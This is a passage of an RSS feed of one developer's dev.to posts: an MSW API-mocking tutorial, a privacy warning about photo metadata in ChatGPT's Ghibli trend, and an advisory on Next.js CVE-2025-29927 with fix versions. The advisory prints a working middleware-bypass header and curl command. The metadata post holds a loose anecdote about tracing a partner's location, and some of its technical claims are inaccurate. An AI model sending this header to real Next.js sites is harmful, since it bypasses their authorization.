&lt;li&gt;&lt;p&gt;&lt;strong&gt;Easier error state simulation (timeout, 500 errors, etc.)&lt;/strong&gt; -&amp;gt; Simulating edge cases is crucial for building resilient UIs. MSW makes easy to:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Mock slow network responses (e.g. ctx.delay(3000)) to test loading states.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Simulate server errors (e.g. 500, 401, 404) to test error handling.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Validate how your UI reacts to flaky connections, unauthorized access, or unexpected data.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Shared, reusable mocks for testing and Storybook&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Hot to implement it?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Install the package
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm i msw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Define your handlers
Create a &lt;code&gt;mocks/handlers.js&lt;/code&gt; file
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// handlers.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;HttpResponse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;msw&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handlers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;API_URL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/v1/privacy-policy`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;HttpResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;documentBody&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
        &amp;lt;h1&amp;gt;Privacy Policy&amp;lt;/h1&amp;gt;
        &amp;lt;p&amp;gt;We value your privacy and handle your data responsibly.&amp;lt;/p&amp;gt;
      `&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Setup the service worker&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Create a &lt;code&gt;mocks/browser.js&lt;/code&gt; file&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;setupWorker&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;msw&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;handlers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./handlers&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;worker&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setupWorker&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;handlers&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Modify your &lt;code&gt;.env&lt;/code&gt; file
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;VITE_ENABLE_MOCKING=true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Modify your &lt;code&gt;main.jsx&lt;/code&gt; file (just add "enableMocking" method)
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// main.tsx&lt;/span&gt;
&lt;span class="c1"&gt;// imports {}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;enableMocking&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VITE_ENABLE_MOCKING&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;worker&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./mocks/browser&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;worker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;enableMocking&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rootElement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;rootElement&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Root element not found&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;createRoot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rootElement&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;StrictMode&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/StrictMode&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: If you plan to use it also in test environment, be sure to create a &lt;code&gt;mocks/node.js&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// mocks/server.jsx&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;setupServer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;msw/node&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;handlers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./handlers&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setupServer&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;handlers&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For more informations, you can check out official &lt;a href="https://mswjs.io/docs/getting-started" rel="noopener noreferrer"&gt;MSW documentation&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Bonus 🎁
&lt;/h3&gt;

&lt;p&gt;I’m sharing template starter for &lt;a href="https://gist.github.com/perisicnikola37/614bb917a7e09dc299d1233fb6a57c26" rel="noopener noreferrer"&gt;handlers.js&lt;/a&gt; file that I use in my projects.&lt;/p&gt;

&lt;p&gt;It includes mocked api endpoints, use of zod schemas for validation, delays and much more!&lt;/p&gt;




&lt;p&gt;Connect with me&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/perisicnikola37" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;, &lt;a href="https://www.linkedin.com/in/perisicnikola37/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, &lt;a href="https://medium.com/@perisicnikola37" rel="noopener noreferrer"&gt;Medium&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>react</category>
    </item>
    <item>
      <title>Ghibli is a Double-Edged Sword: Be Cautious Because You Are Giving Metadata to OpenAI</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Wed, 02 Apr 2025 12:48:49 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/ghibli-is-a-double-edged-sword-be-cautious-because-you-are-giving-metadata-to-openai-4fel</link>
      <guid>https://dev.to/perisicnikola37/ghibli-is-a-double-edged-sword-be-cautious-because-you-are-giving-metadata-to-openai-4fel</guid>
      <description>&lt;p&gt;I’m sure you have seen this new trend. Maybe on the internet, maybe in the news, or perhaps you noticed it because your friend used it to generate a cartoonized version of themselves. Well, this is cool, and everyone can use it for FREE(intentionally bold) on ChatGPT. Just go to it, attach your chosen image, write a prompt such as “Generate me an image of this in Ghibli style and keep details,” and voila! You get it!&lt;/p&gt;

&lt;p&gt;But remember the saying: “&lt;strong&gt;If something is free, you are the product.&lt;/strong&gt;”&lt;/p&gt;

&lt;p&gt;So, this is the new &lt;strong&gt;premium prompt(feature)&lt;/strong&gt;. Features like this are often paid in software. But with this one, it’s not the case. Wonder why?&lt;/p&gt;




&lt;h3&gt;
  
  
  What Happens When You Upload Your Image?
&lt;/h3&gt;

&lt;p&gt;Certainly, ChatGPT works its magic and combines colors, saturation, exposure, and more.&lt;/p&gt;

&lt;p&gt;But what about the things done under the hood? For that, we need a bit of theoretical knowledge. As a software engineer, let me explain to you in simple terms what happens &lt;strong&gt;beyond color adjustments&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Images are files in the system
&lt;/h3&gt;

&lt;p&gt;If you’ve taken a computer science class, you know that computers consist of bytes.&lt;/p&gt;

&lt;p&gt;Bytes are numbers — either zero or one. Each byte has its own memory allocation in the computer’s memory. So, you know that an image can take up 2MB (megabytes) of space on your disk. The size of an image file depends on how many bytes it contains.&lt;/p&gt;

&lt;p&gt;Ever wondered why professional photographs photos look so good? That’s because cameras like Nikon and Canon capture images with more bytes, which results in higher quality and more detail. A raw image from a camera can be up to 40MB, while a photo taken on your phone might be around 10MB. More bytes generally mean better quality and more detail.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sensitive data in a metadata
&lt;/h3&gt;

&lt;p&gt;Every photo also contains metadata.&lt;/p&gt;

&lt;p&gt;Metadata can include location data (GPS coordinates), device information (camera model), timestamps, and other data that could reveal a lot about you without you even realizing it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: I cannot definitively confirm whether ChatGPT preserves metadata from uploaded images, nor have I found any clear statement from OpenAI claiming they don’t, creating an information gap that calls for cautious use of the Ghibli feature prompts.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Your sensitive informations
&lt;/h3&gt;

&lt;p&gt;When you upload an image to generate a Ghibli-style version, you’re not just sharing your photo — you’re sharing metadata too. In the wrong hands, this data could be used to track your location or other personal information. Be mindful of what you’re giving away.&lt;/p&gt;

&lt;p&gt;Examples of what metada can include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Geolocation data(longitude and latitude)&lt;/li&gt;
&lt;li&gt;File type and size&lt;/li&gt;
&lt;li&gt;Description&lt;/li&gt;
&lt;li&gt;Date created&lt;/li&gt;
&lt;li&gt;Camera settings&lt;/li&gt;
&lt;li&gt;Creator and uploader&lt;/li&gt;
&lt;li&gt;Operating system&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Well, I’m always sharing my pictures on Viber/Whats App, so what?
&lt;/h3&gt;

&lt;p&gt;Well, applications like these, Instagram, Telegram etc. before you share your image, delete the metadata from it. Yes! That can be done by just removing bytes that are used to define metadata. And guess what. You can also do it for free on &lt;a href="https://jimpl.com/remove-exif" rel="noopener noreferrer"&gt;Jimpl&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  How a guy caught a girlfriend cheating using metadata
&lt;/h3&gt;

&lt;p&gt;There is a story a friend of mine told me.&lt;/p&gt;

&lt;p&gt;The boyfriend(DevOps) suspected something wasn’t right when his girlfriend claimed she was at her friend’s house studying. He casually asked her to send a current photo of herself. When she sent it, he decided to check the image metadata using online tool.&lt;/p&gt;

&lt;p&gt;The metadata revealed that the photo was taken with an Android device, but my friend knew his girlfriend used an iPhone 12 Pro. This little detail exposed her lie — she had used someone else’s phone to take the photo. By doing so, she revealed more than just the device she used; she also shared sensitive geolocation data. Knowing the coordinates, he knew the guy who lived there and already suspected that she was cheating on him.&lt;/p&gt;

&lt;p&gt;If you’re wondering why the social media app didn’t remove the metadata, it’s because my friend asked her to send image like file not as photo, and it does not strip the metadata.&lt;/p&gt;

&lt;p&gt;And why she used someone else’s phone to take the photo? Well, it turned out her iPhone’s battery had run out, and ironically, the boyfriend didn’t have an iPhone charger on hand because he used, as I mentioned, an Android phone. The iPhone 13 Pro doesn’t use a USB-C charger, so she couldn’t just borrow his cable. So guys, even if you don’t have an iPhone, at least have a charger for it! xd&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6i5wcgphv262sur1x4r0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6i5wcgphv262sur1x4r0.png" alt="Ghibly ai chatgpt" width="800" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;"You after reading this article" &lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;While the &lt;strong&gt;Ghibli&lt;/strong&gt; style transformation feature is exciting and fun, it’s important to be cautious. It’s very important to understand the risks.&lt;/p&gt;

&lt;p&gt;Did you know for this? Let me know in the comments below 💬&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>ai</category>
    </item>
    <item>
      <title>Critical Next.js Vulnerability! CVE-2025-29927</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Mon, 24 Mar 2025 11:56:17 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/critical-nextjs-vulnerability-be-aware-h70</link>
      <guid>https://dev.to/perisicnikola37/critical-nextjs-vulnerability-be-aware-h70</guid>
      <description>&lt;p&gt;A few days ago, researchers disclosed a critical Next.js vulnerability (CVE-2025-29927), highlighting an &lt;u&gt;authorization bypass&lt;/u&gt; in the framework’s &lt;strong&gt;middleware&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;This can allow attackers to completely &lt;strong&gt;bypass middleware protections&lt;/strong&gt;. In other words, if you used &lt;code&gt;middleware.ts&lt;/code&gt;, your application is not secure. &lt;/p&gt;

&lt;p&gt;Let me explain.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Attack: How It Works
&lt;/h3&gt;

&lt;p&gt;Next.js uses the &lt;code&gt;x-middleware-subrequest&lt;/code&gt; header to track outgoing requests from middleware and prevent infinite loops. The header is added when middleware calls another service, such as an external API. This is designed to stop middleware from calling itself repeatedly, which could waste server resources.&lt;/p&gt;

&lt;p&gt;However, an attacker can manipulate this header to make it appear like the middleware is calling itself repeatedly, bypassing the middleware protection. For example, if an attacker sends a header like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will trick Next.js into thinking the middleware has already been called five times, allowing the attacker to skip the middleware logic and access protected resources.&lt;/p&gt;

&lt;h3&gt;
  
  
  Demonstrating the Exploit
&lt;/h3&gt;

&lt;p&gt;Here’s a simple example of how the exploit works in Next.js &lt;code&gt;v15.2.2&lt;/code&gt;. Imagine we have middleware that sets a custom header and a route that returns it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NextRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;x-my-custom-header&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello, world!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Route (src/app/test/route.ts):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NextRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;x-my-custom-header&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Middleware skipped. Exploited!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normally, the route would return "Hello, world!" like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl http://localhost:3000/test
# =&amp;gt; { "message": "Hello, world!" }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But if the attacker adds the malicious header, the middleware is bypassed, and the response changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/test
# =&amp;gt; { "message": "Middleware skipped. Exploited!" }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Are you affected?
&lt;/h3&gt;

&lt;p&gt;If you use Next.js and rely on middleware for protecting pages, you may be affected by this vulnerability. Here’s how to tell if you are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You use Next.js and rely on middleware for authorization.&lt;/li&gt;
&lt;li&gt;You don’t have additional user authentication checks inside your pages or components. &lt;/li&gt;
&lt;li&gt;You’re not using Vercel or a platform that has patched the issue.&lt;/li&gt;
&lt;li&gt;Your Next.js version is older than &lt;code&gt;v14.2.25&lt;/code&gt; (Next.js 14) or &lt;code&gt;v15.2.3&lt;/code&gt; (Next.js 15).&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  How to Fix It
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Update Next.js: Make sure you're using &lt;code&gt;v14.2.25&lt;/code&gt; or &lt;code&gt;v15.2.3&lt;/code&gt; or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read more on official Next.js blog &lt;a href="https://nextjs.org/blog/cve-2025-29927" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;p&gt;What are your thoughts on this? How could this have been prevented?&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Don't use React imports like this. Use Wrapper Pattern instead</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Fri, 21 Feb 2025 08:09:33 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/dont-use-react-imports-like-this-use-wrapper-pattern-instead-124p</link>
      <guid>https://dev.to/perisicnikola37/dont-use-react-imports-like-this-use-wrapper-pattern-instead-124p</guid>
      <description>&lt;p&gt;Updated version. Read on: &lt;a href="https://medium.com/@perisicnikola37/dont-use-react-imports-like-this-use-wrapper-pattern-instead-b7a49b864ff4" rel="noopener noreferrer"&gt;https://medium.com/@perisicnikola37/dont-use-react-imports-like-this-use-wrapper-pattern-instead-b7a49b864ff4&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Modern React website with stunning animations and free code</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Thu, 20 Feb 2025 10:26:46 +0000</pubDate>
      <link>https://dev.to/dev-to-rater-org/modern-react-website-with-stunning-animations-and-free-code-15gi</link>
      <guid>https://dev.to/dev-to-rater-org/modern-react-website-with-stunning-animations-and-free-code-15gi</guid>
      <description>&lt;h4&gt;
  
  
  Tech stack: &lt;strong&gt;React.js&lt;/strong&gt; + &lt;strong&gt;TypeScript&lt;/strong&gt; + &lt;strong&gt;Vite&lt;/strong&gt;
&lt;/h4&gt;

&lt;h5&gt;
  
  
  Live preview: &lt;a href="https://dev-to-rater.xyz" rel="noopener noreferrer"&gt;https://dev-to-rater.xyz&lt;/a&gt;
&lt;/h5&gt;

&lt;h5&gt;
  
  
  Repository: &lt;a href="https://github.com/perisicnikola37/dev-to-rater" rel="noopener noreferrer"&gt;https://github.com/perisicnikola37/dev-to-rater&lt;/a&gt;
&lt;/h5&gt;

